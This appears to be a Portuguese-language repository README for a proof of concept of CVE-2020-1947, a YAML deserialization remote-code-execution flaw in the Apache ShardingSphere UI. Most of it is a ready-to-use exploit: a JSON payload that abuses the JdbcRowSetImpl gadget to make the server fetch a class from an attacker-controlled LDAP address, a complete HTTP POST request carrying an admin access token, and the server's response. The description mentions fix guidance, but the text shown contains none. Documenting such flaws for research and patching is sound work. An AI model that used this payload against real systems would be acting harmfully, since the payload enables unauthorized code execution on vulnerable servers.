starkchristmas/cve-2020-1947Prova de conceito e análise para CVE-2020-1947, uma vulnerabilidade de execução remota de código por desserialização YAML no Apache ShardingSphere UI, incluindo etapas de reprodução e orientação de correção.
O ShardingSphere é um ecossistema de código aberto da Apache, um conjunto de soluções de middleware para bancos de dados distribuídos, composto por três frameworks independentes: sharding-jdbc, sharding-proxy e sharding-sidecar, utilizados para fornecer fragmentação de dados, transações distribuídas e governança de banco de dados.
ShardingSphere 4.0.0-RC3, 4.0.0 sharding-jdbc, sharding-proxy, sharding-ui e outros componentes.
Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode
O console web do shardingsphere usa a biblioteca snakeyaml para analisar a entrada YAML a fim de carregar a configuração da fonte de dados. O snakeyaml permite que o unmarshal faça a análise e desserialização sem validação.
O unmarshal() passa diretamente o conteúdo para o load() do yaml.snakeyaml para análise.
Nesse momento, se o unmarshal receber um conteúdo YAML serializado malicioso, isso levará a uma RCE.
git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml
Poc
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
Request
POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token: eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImJhc2U2NCI6eyJlbmNvZGVUYWJsZSI6WzY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0LDc1LDc2LDc3LDc4LDc5LDgwLDgxLDgyLDgzLDg0LDg1LDg2LDg3LDg4LDg5LDkwLDk3LDk4LDk5LDEwMCwxMDEsMTAyLDEwMywxMDQsMTA1LDEwNiwxMDcsMTA4LDEwOSwxMTAsMTExLDExMiwxMTMsMTE0LDExNSwxMTYsMTE3LDExOCwxMTksMTIwLDEyMSwxMjIsNDgsNDksNTAsNTEsNTIsNTMsNTQsNTUsNTYsNTcsNDMsNDddLCJkZWNvZGVUYWJsZSI6Wy0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDYyLC0xLDYyLC0xLDYzLDUyLDUzLDU0LDU1LDU2LDU3LDU4LDU5LDYwLDYxLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDAsMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMsMjQsMjUsLTEsLTEsLTEsLTEsNjMsLTEsMjYsMjcsMjgsMjksMzAsMzEsMzIsMzMsMzQsMzUsMzYsMzcsMzgsMzksNDAsNDEsNDIsNDMsNDQsNDUsNDYsNDcsNDgsNDksNTAsNTFdLCJkZWNvZGVTaXplIjozLCJlbmNvZGVTaXplIjo0LCJQQUQiOjYxLCJwYWQiOjYxLCJ1bmVuY29kZWRCbG9ja1NpemUiOjMsImVuY29kZWRCbG9ja1NpemUiOjQsImxpbmVMZW5ndGgiOjAsImNodW5rU2VwYXJhdG9yTGVuZ3RoIjoyfSwiZ3NvbiI6eyJjYWxscyI6eyJ0aHJlYWRMb2NhbEhhc2hDb2RlIjoxMzk4MDMyNzAxfSwidHlwZVRva2VuQ2FjaGUiOnsiamF2YS5sYW5nLkRvdWJsZSI6e30sImphdmEudXRpbC5NYXBcdTAwM2Njb20uZ29vZ2xlLmdzb24ucmVmbGVjdC5UeXBlVG9rZW5cdTAwM2M/XHUwMDNlLCBjb20uZ29vZ2xlLmdzb24uVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUmVmbGVjdGlvbkFjY2Vzc29yIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuT2JqZWN0VHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5UeXBlQWRhcHRlclx1MDAzYz9cdTAwM2UiOnt9LCJqYXZhLmxhbmcuQ2xhc3NcdTAwM2M/XHUwMDNlIjp7fSwiamF2YS5sYW5nLlN0cmluZyI6e30sImphdmEubGFuZy5Cb29sZWFuIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMwIjp7fSwiY29tLmdvb2dsZS5nc29uLkZpZWxkTmFtaW5nUG9saWN5JDEiOnt9LCJvcmcuYXBhY2hlLmNvbW1vbnMuY29kZWMuYmluYXJ5LkJhc2U2NCI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSQxIjp7fSwiY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlRpbWVUeXBlQWRhcHRlciQxIjp7fSwiamF2YS5sYW5nLnJlZmxlY3QuVHlwZSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeVx1MDAzZSI6e30sImphdmEubGFuZy5CeXRlIjp7fSwiamF2YS5sYW5nLkludGVnZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5TcWxEYXRlVHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLkpzb25BZGFwdGVyQW5ub3RhdGlvblR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLk1hcFR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImJ5dGUiOnt9LCJieXRlW10iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzQiOnt9LCJjb20uZ29vZ2xlLmdzb24uSW5zdGFuY2VDcmVhdG9yXHUwMDNjP1x1MDAzZSI6e30sIm9yZy5hcGFjaGUuc2hhcmRpbmdzcGhlcmUudWkuc2VjdXJpdHkuVXNlckF1dGhlbnRpY2F0aW9uU2VydmljZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlJlZmxlY3RpdmVUeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJqYXZhLnV0aWwuTWFwXHUwMDNjamF2YS5sYW5nLnJlZmxlY3QuVHlwZSwgY29tLmdvb2dsZS5nc29uLkluc3RhbmNlQ3JlYXRvclx1MDAzYz9cdTAwM2VcdTAwM2UiOnt9LCJqYXZhLmxhbmcuVGhyZWFkTG9jYWxcdTAwM2NqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLkdzb24kRnV0dXJlVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLkdzb24iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzUiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuQ29uc3RydWN0b3JDb25zdHJ1Y3RvciI6e30sImJvb2xlYW4iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5EYXRlVHlwZUFkYXB0ZXIkMSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5XHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImludCI6e30sImNvbS5nb29nbGUuZ3Nvbi5GaWVsZE5hbWluZ1N0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMzIjp7fSwiY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuQXJyYXlUeXBlQWRhcHRlciQxIjp7fSwiZG91YmxlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUHJlSmF2YTlSZWZsZWN0aW9uQWNjZXNzb3IiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuRXhjbHVkZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMjYiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5Db2xsZWN0aW9uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fX0sImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiZmFjdG9yaWVzIjpbbnVsbCxudWxsLHsidmVyc2lvbiI6LTEuMCwibW9kaWZpZXJzIjoxMzYsInNlcmlhbGl6ZUlubmVyQ2xhc3NlcyI6dHJ1ZSwicmVxdWlyZUV4cG9zZSI6ZmFsc2UsInNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXSwiZGVzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W119LG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0seyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319LCJjb21wbGV4TWFwS2V5U2VyaWFsaXphdGlvbiI6ZmFsc2V9LHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0sbnVsbCx7ImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImZpZWxkTmFtaW5nUG9saWN5IjoiSURFTlRJVFkiLCJleGNsdWRlciI6eyJ2ZXJzaW9uIjotMS4wLCJtb2RpZmllcnMiOjEzNiwic2VyaWFsaXplSW5uZXJDbGFzc2VzIjp0cnVlLCJyZXF1aXJlRXhwb3NlIjpmYWxzZSwic2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdLCJkZXNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiYWNjZXNzb3IiOnt9fV0sImV4Y2x1ZGVyIjp7InZlcnNpb24iOi0xLjAsIm1vZGlmaWVycyI6MTM2LCJzZXJpYWxpemVJbm5lckNsYXNzZXMiOnRydWUsInJlcXVpcmVFeHBvc2UiOmZhbHNlLCJzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W10sImRlc2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdfSwiZmllbGROYW1pbmdTdHJhdGVneSI6IklERU5USVRZIiwiaW5zdGFuY2VDcmVhdG9ycyI6e30sInNlcmlhbGl6ZU51bGxzIjpmYWxzZSwiY29tcGxleE1hcEtleVNlcmlhbGl6YXRpb24iOmZhbHNlLCJnZW5lcmF0ZU5vbkV4ZWN1dGFibGVKc29uIjpmYWxzZSwiaHRtbFNhZmUiOnRydWUsInByZXR0eVByaW50aW5nIjpmYWxzZSwibGVuaWVudCI6ZmFsc2UsInNlcmlhbGl6ZVNwZWNpYWxGbG9hdGluZ1BvaW50VmFsdWVzIjpmYWxzZSwiZGF0ZVN0eWxlIjoyLCJ0aW1lU3R5bGUiOjIsImxvbmdTZXJpYWxpemF0aW9uUG9saWN5IjoiREVGQVVMVCIsImJ1aWxkZXJGYWN0b3JpZXMiOltdLCJidWlsZGVySGllcmFyY2h5RmFjdG9yaWVzIjpbXX19
Referer: http://10.10.20.166:8089/
Content-Length: 595
Connection: close
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5",
"dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/ExportObject\n autoCommit: true"
}
Response
HTTP/1.1 200
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Max-Age: 3600
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type,Access-Token
Content-Type: application/json;charset=UTF-8
Date: Wed, 11 Mar 2020 02:49:39 GMT
Connection: close
Content-Length: 97
{"success":false,"errorCode":400,"errorMsg":"data source configuration is invalid.","model":null}
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